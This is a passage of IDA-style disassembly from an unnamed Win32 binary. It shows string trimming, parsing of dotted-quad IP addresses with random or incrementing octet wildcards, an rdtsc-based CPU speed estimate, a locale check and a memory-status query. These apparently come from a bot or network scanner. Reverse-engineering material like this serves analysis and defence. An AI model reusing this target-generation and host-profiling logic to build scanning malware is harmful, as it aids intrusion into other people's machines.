; ---------------------------------------------------------------------------

loc_407C42:				; CODE XREF: sub_407C2C+31j
					; sub_407C2C:loc_407CCDj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407C49:				; CODE XREF: sub_407C2C+14j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407C68
		cmp	[ebp+var_C], 0
		jz	short loc_407C5F
		jmp	short loc_407C42
; ---------------------------------------------------------------------------

loc_407C5F:				; CODE XREF: sub_407C2C+2Fj
		mov	[ebp+var_C], 1
		jmp	short loc_407C6C
; ---------------------------------------------------------------------------

loc_407C68:				; CODE XREF: sub_407C2C+29j
		and	[ebp+var_C], 0

loc_407C6C:				; CODE XREF: sub_407C2C+3Aj
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407CCD
		cmp	[ebp+arg_8], 0
		jz	short loc_407CCB
		cmp	[ebp+var_8], 0
		jz	short loc_407CCB

loc_407C9C:				; CODE XREF: sub_407C2C:loc_407CC9j
		push	1
		pop	eax
		test	eax, eax
		jz	short loc_407CCB
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_8]
		dec	eax
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		cmp	eax, 20h
		jnz	short loc_407CC7
		cmp	[ebp+var_8], 0
		jnz	short loc_407CC9

loc_407CC7:				; CODE XREF: sub_407C2C+93j
		jmp	short loc_407CCB
; ---------------------------------------------------------------------------

loc_407CC9:				; CODE XREF: sub_407C2C+99j
		jmp	short loc_407C9C
; ---------------------------------------------------------------------------

loc_407CCB:				; CODE XREF: sub_407C2C+68j
					; sub_407C2C+6Ej ...
		jmp	short locret_407CD2
; ---------------------------------------------------------------------------

loc_407CCD:				; CODE XREF: sub_407C2C+62j
		jmp	loc_407C42
; ---------------------------------------------------------------------------

locret_407CD2:				; CODE XREF: sub_407C2C:loc_407CCBj
		leave
		retn
sub_407C2C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407CD4	proc near		; CODE XREF: sub_407D42+5Fp
					; sub_407D42+79p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_407CE5
; ---------------------------------------------------------------------------

loc_407CDE:				; CODE XREF: sub_407CD4+68j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_407CE5:				; CODE XREF: sub_407CD4+8j
		cmp	[ebp+var_4], 4
		jge	short loc_407D3E
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 2Eh
		jnz	short loc_407D0E
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		lea	eax, [ecx+eax+1]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------

loc_407D0E:				; CODE XREF: sub_407CD4+23j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_407D2C
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		jmp	short locret_407D40
; ---------------------------------------------------------------------------

loc_407D2C:				; CODE XREF: sub_407CD4+45j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_4]
		add	ecx, [ebp+var_4]
		mov	cl, [ecx]
		mov	[eax], cl
		jmp	short loc_407CDE
; ---------------------------------------------------------------------------

loc_407D3E:				; CODE XREF: sub_407CD4+15j
		xor	eax, eax

locret_407D40:				; CODE XREF: sub_407CD4+38j
					; sub_407CD4+56j
		leave
		retn
sub_407CD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407D42	proc near		; CODE XREF: sub_407F3D+19p
					; sub_407F3D+3Fp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	2Eh
		push	[ebp+arg_0]
		call	sub_4078E6
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 3
		jle	short loc_407D63
		xor	eax, eax
		jmp	locret_407E0A
; ---------------------------------------------------------------------------

loc_407D63:				; CODE XREF: sub_407D42+18j
		mov	eax, [ebp+arg_10]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_8]
		and	byte ptr [eax],	0
		mov	eax, [ebp+arg_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_407DE9
		cmp	[ebp+var_8], 1
		jz	short loc_407DCF
		cmp	[ebp+var_8], 2
		jz	short loc_407DB5
		cmp	[ebp+var_8], 3
		jz	short loc_407D9B
		jmp	short loc_407E08
; ---------------------------------------------------------------------------

loc_407D9B:				; CODE XREF: sub_407D42+55j
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DB5
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DB5:				; CODE XREF: sub_407D42+4Fj
					; sub_407D42+6Dj
		push	[ebp+arg_0]
		push	[ebp+arg_8]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DCF
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DCF:				; CODE XREF: sub_407D42+49j
					; sub_407D42+87j
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407DE9
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407DE9:				; CODE XREF: sub_407D42+43j
					; sub_407D42+A1j
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		call	sub_407CD4
		pop	ecx
		pop	ecx
		mov	[ebp+arg_0], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_407E03
		xor	eax, eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407E03:				; CODE XREF: sub_407D42+BBj
		push	1
		pop	eax
		jmp	short locret_407E0A
; ---------------------------------------------------------------------------

loc_407E08:				; CODE XREF: sub_407D42+57j
		xor	eax, eax

locret_407E0A:				; CODE XREF: sub_407D42+1Cj
					; sub_407D42+71j ...
		leave
		retn
sub_407D42	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407E0C	proc near		; CODE XREF: sub_407F3D+A3p
					; sub_407F3D+C1p ...

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 72h
		jnz	short loc_407E4A
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	short loc_407E4A
		push	0Ah
		push	[ebp+arg_C]
		push	0FFh
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		mov	eax, [ebp+arg_10]
		jmp	locret_407F3B
; ---------------------------------------------------------------------------

loc_407E4A:				; CODE XREF: sub_407E0C+Dj
					; sub_407E0C+18j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 73h
		jz	short loc_407E64
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	loc_407EF9

loc_407E64:				; CODE XREF: sub_407E0C+47j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax+1]
		test	eax, eax
		jnz	loc_407EF9
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407EB3
		cmp	[ebp+arg_10], 0
		jz	short loc_407EB3
		push	[ebp+arg_0]
		call	sub_416B9C	; atoi
		pop	ecx
		movzx	eax, al
		inc	eax
		mov	[ebp+var_4], al
		push	0Ah
		push	[ebp+arg_C]
		movzx	eax, [ebp+var_4]
		push	eax
		call	sub_416F7A	; _itoa
		add	esp, 0Ch
		movzx	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	locret_407F3B
; ---------------------------------------------------------------------------

loc_407EB3:				; CODE XREF: sub_407E0C+6Fj
					; sub_407E0C+75j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407ECC
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------

loc_407ECC:				; CODE XREF: sub_407E0C+AFj
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 69h
		jnz	short loc_407EE8
		push	offset dword_418F50
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407EF5
; ---------------------------------------------------------------------------

loc_407EE8:				; CODE XREF: sub_407E0C+C9j
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_407EF5:				; CODE XREF: sub_407E0C+BEj
					; sub_407E0C+DAj
		xor	eax, eax
		jmp	short locret_407F3B
; ---------------------------------------------------------------------------

loc_407EF9:				; CODE XREF: sub_407E0C+52j
					; sub_407E0C+61j
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F12
		push	[ebp+arg_4]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------

loc_407F12:				; CODE XREF: sub_407E0C+F5j
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_407F2B
		push	[ebp+arg_0]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_407F38
; ---------------------------------------------------------------------------

loc_407F2B:				; CODE XREF: sub_407E0C+10Ej
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_407F38:				; CODE XREF: sub_407E0C+104j
					; sub_407E0C+11Dj
		mov	eax, [ebp+arg_10]

locret_407F3B:				; CODE XREF: sub_407E0C+39j
					; sub_407E0C+A2j ...
		leave
		retn
sub_407E0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407F3D	proc near		; CODE XREF: sub_41349C+192p
					; sub_41349C+3DAp

var_44		= byte ptr -44h
var_40		= byte ptr -40h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2C		= byte ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 44h
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F69
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407F69:				; CODE XREF: sub_407F3D+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		push	[ebp+arg_4]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407F8F
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407F8F:				; CODE XREF: sub_407F3D+49j
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_407FB7
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407FB7:				; CODE XREF: sub_407F3D+71j
		movsx	eax, [ebp+var_14]
		test	eax, eax
		jnz	short loc_407FC6
		xor	eax, eax
		jmp	locret_408068
; ---------------------------------------------------------------------------

loc_407FC6:				; CODE XREF: sub_407F3D+80j
		mov	[ebp+var_18], 1
		push	[ebp+var_18]
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_44]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		push	[ebp+var_18]
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_407E0C
		add	esp, 14h
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_8]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_408068:				; CODE XREF: sub_407F3D+27j
					; sub_407F3D+4Dj ...
		leave
		retn
sub_407F3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40806A	proc near		; CODE XREF: sub_41349C+12Ap

var_20		= byte ptr -20h
var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+arg_0]
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_408096
		xor	eax, eax
		jmp	locret_40813A
; ---------------------------------------------------------------------------

loc_408096:				; CODE XREF: sub_40806A+23j
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_41EF48
		call	sub_407D42
		add	esp, 14h
		test	eax, eax
		jnz	short loc_4080BB
		xor	eax, eax
		jmp	short locret_40813A
; ---------------------------------------------------------------------------

loc_4080BB:				; CODE XREF: sub_40806A+4Bj
		movsx	eax, [ebp+var_18]
		test	eax, eax
		jnz	short loc_4080D2
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_4080D2:				; CODE XREF: sub_40806A+57j
		movsx	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_4080E9
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_4080E9:				; CODE XREF: sub_40806A+6Ej
		movsx	eax, [ebp+var_20]
		test	eax, eax
		jnz	short loc_408100
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408100:				; CODE XREF: sub_40806A+85j
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jnz	short loc_408117
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx

loc_408117:				; CODE XREF: sub_40806A+9Cj
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		push	offset dword_418F54
		push	[ebp+arg_0]
		call	sub_416B5E	; sprintf
		add	esp, 18h
		push	1
		pop	eax

locret_40813A:				; CODE XREF: sub_40806A+27j
					; sub_40806A+4Fj
		leave
		retn
sub_40806A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40813C	proc near		; CODE XREF: sub_407928+54p
					; sub_407928+9Dp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_408150
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		mov	[eax], ecx

loc_408150:				; CODE XREF: sub_40813C+Aj
		mov	eax, [ebp+arg_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		jmp	short loc_408161
; ---------------------------------------------------------------------------

loc_40815A:				; CODE XREF: sub_40813C:loc_4081A0j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_408161:				; CODE XREF: sub_40813C+1Cj
		mov	eax, [ebp+var_8]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081A2
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_408171:				; CODE XREF: sub_40813C+56j
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_8]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jz	short loc_408194
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_408171
; ---------------------------------------------------------------------------

loc_408194:				; CODE XREF: sub_40813C+3Dj
					; sub_40813C+4Dj
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081A0
		jmp	short loc_4081A2
; ---------------------------------------------------------------------------

loc_4081A0:				; CODE XREF: sub_40813C+60j
		jmp	short loc_40815A
; ---------------------------------------------------------------------------

loc_4081A2:				; CODE XREF: sub_40813C+2Dj
					; sub_40813C+62j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax

loc_4081AE:				; CODE XREF: sub_40813C:loc_4081F5j
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short loc_4081F7
		mov	eax, [ebp+var_C]
		movsx	eax, byte ptr [eax]
		mov	ecx, [ebp+var_4]
		movsx	ecx, byte ptr [ecx]
		cmp	eax, ecx
		jnz	short loc_4081D7
		mov	eax, [ebp+var_C]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_4081F7
; ---------------------------------------------------------------------------

loc_4081D7:				; CODE XREF: sub_40813C+8Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_4081F5
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax

loc_4081F5:				; CODE XREF: sub_40813C+AAj
		jmp	short loc_4081AE
; ---------------------------------------------------------------------------

loc_4081F7:				; CODE XREF: sub_40813C+7Aj
					; sub_40813C+99j
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_C]
		mov	[eax], ecx
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_C]
		neg	eax
		sbb	eax, eax
		and	eax, [ebp+var_8]
		leave
		retn
sub_40813C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40820E	proc near		; CODE XREF: sub_40821B:loc_408221p
					; sub_40821B+1Cp
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		rdtsc
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_40820E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40821B	proc near		; CODE XREF: sub_4083AD+3A4p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 20h

loc_408221:				; CODE XREF: sub_40821B+4Aj
					; sub_40821B+55j
		call	sub_40820E
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], edx
		push	3E8h
		call	dword_41709C	; Sleep
		call	sub_40820E
		sub	eax, [ebp+var_20]
		sbb	edx, [ebp+var_1C]
		push	0
		push	186A0h
		push	edx
		push	eax
		call	sub_416C90
		push	0
		push	0Ah
		push	edx
		push	eax
		call	sub_416C90
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], edx
		cmp	[ebp+var_4], 0
		ja	short loc_408221
		jb	short loc_408272
		cmp	[ebp+var_8], 0F4240h
		ja	short loc_408221

loc_408272:				; CODE XREF: sub_40821B+4Cj
		push	0
		push	64h
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	sub_416C10
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	[ebp+var_10], 64h
		and	[ebp+var_C], 0
		cmp	[ebp+var_14], 0
		ja	short loc_4082AB
		jb	short loc_4082A0
		cmp	[ebp+var_18], 50h
		jnb	short loc_4082AB

loc_4082A0:				; CODE XREF: sub_40821B+7Dj
		mov	[ebp+var_10], 4Bh
		and	[ebp+var_C], 0

loc_4082AB:				; CODE XREF: sub_40821B+7Bj
					; sub_40821B+83j
		cmp	[ebp+var_14], 0
		ja	short loc_4082C4
		jb	short loc_4082B9
		cmp	[ebp+var_18], 47h
		jnb	short loc_4082C4

loc_4082B9:				; CODE XREF: sub_40821B+96j
		mov	[ebp+var_10], 42h
		and	[ebp+var_C], 0

loc_4082C4:				; CODE XREF: sub_40821B+94j
					; sub_40821B+9Cj
		cmp	[ebp+var_14], 0
		ja	short loc_4082DD
		jb	short loc_4082D2
		cmp	[ebp+var_18], 37h
		jnb	short loc_4082DD

loc_4082D2:				; CODE XREF: sub_40821B+AFj
		mov	[ebp+var_10], 32h
		and	[ebp+var_C], 0

loc_4082DD:				; CODE XREF: sub_40821B+ADj
					; sub_40821B+B5j
		cmp	[ebp+var_14], 0
		ja	short loc_4082F6
		jb	short loc_4082EB
		cmp	[ebp+var_18], 26h
		jnb	short loc_4082F6

loc_4082EB:				; CODE XREF: sub_40821B+C8j
		mov	[ebp+var_10], 21h
		and	[ebp+var_C], 0

loc_4082F6:				; CODE XREF: sub_40821B+C6j
					; sub_40821B+CEj
		cmp	[ebp+var_14], 0
		ja	short loc_40830F
		jb	short loc_408304
		cmp	[ebp+var_18], 1Eh
		jnb	short loc_40830F

loc_408304:				; CODE XREF: sub_40821B+E1j
		mov	[ebp+var_10], 19h
		and	[ebp+var_C], 0

loc_40830F:				; CODE XREF: sub_40821B+DFj
					; sub_40821B+E7j
		cmp	[ebp+var_14], 0
		ja	short loc_408325
		jb	short loc_40831D
		cmp	[ebp+var_18], 0Ah
		jnb	short loc_408325

loc_40831D:				; CODE XREF: sub_40821B+FAj
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0

loc_408325:				; CODE XREF: sub_40821B+F8j
					; sub_40821B+100j
		mov	eax, [ebp+var_8]
		sub	eax, [ebp+var_18]
		mov	ecx, [ebp+var_4]
		sbb	ecx, [ebp+var_14]
		add	eax, [ebp+var_10]
		adc	ecx, [ebp+var_C]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], ecx
		mov	eax, [ebp+var_8]
		leave
		retn
sub_40821B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408342	proc near		; CODE XREF: sub_40D043+156p
					; sub_40D871+30Cp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	400h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		cmp	[ebp+var_4], 0
		jz	short loc_408381
		push	offset off_419100
		push	[ebp+arg_0]
		call	sub_416F74	; _strcmpi
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4083A8

loc_408381:				; CODE XREF: sub_408342+2Aj
		push	1Fh
		push	[ebp+arg_0]
		push	7
		push	800h
		call	dword_417034	; GetLocaleInfoA
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		and	byte ptr [eax+3], 0
		mov	eax, [ebp+var_4]
		jmp	short locret_4083AB
; ---------------------------------------------------------------------------

loc_4083A8:				; CODE XREF: sub_408342+3Dj
		push	1
		pop	eax

locret_4083AB:				; CODE XREF: sub_408342+64j
		leave
		retn
sub_408342	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4083AD	proc near		; DATA XREF: sub_4087C4+35o

var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_73C		= dword	ptr -73Ch
var_738		= dword	ptr -738h
var_734		= byte ptr -734h
var_72C		= dword	ptr -72Ch
var_728		= dword	ptr -728h
var_714		= dword	ptr -714h
var_710		= dword	ptr -710h
var_70C		= dword	ptr -70Ch
var_708		= byte ptr -708h
var_6F0		= dword	ptr -6F0h
var_6EC		= dword	ptr -6ECh
var_6E8		= dword	ptr -6E8h
var_6E4		= dword	ptr -6E4h
var_6E0		= byte ptr -6E0h
var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= byte ptr -6C8h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= dword	ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= byte ptr -50Ch
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= byte ptr -47Ch
var_409		= byte ptr -409h
var_408		= byte ptr -408h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 750h
		push	ebx
		push	esi
		push	edi
		push	1A7h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_6CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		lea	eax, [ebp+var_734]
		push	eax
		call	dword_4170C4	; GlobalMemoryStatus
		mov	eax, [ebp+var_72C]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_728]
		add	eax, 100000h
		shr	eax, 14h
		mov	[ebp+var_738], eax
		call	sub_4092A4
